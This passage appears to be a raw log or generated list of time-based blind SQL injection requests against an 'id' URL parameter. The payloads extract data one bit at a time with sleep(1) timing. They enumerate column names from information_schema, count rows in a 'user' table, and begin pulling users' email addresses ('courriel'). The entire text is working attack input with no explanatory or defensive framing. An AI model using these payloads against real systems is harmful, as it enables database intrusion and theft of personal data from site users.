0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((select count(*) from user) = 1,sleep(1),0) /?id=1-if((select count(*) from user) = 2,sleep(1),0) /?id=1-if((select count(*) from user) = 3,sleep(1),0) /?id=1-if((select count(*) from user) = 1,sleep(1),0) /?id=1-if((select count(*) from user) = 2,sleep(1),0) /?id=1-if((select count(*) from user) = 3,sleep(1),0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 6, 1) = '0'), 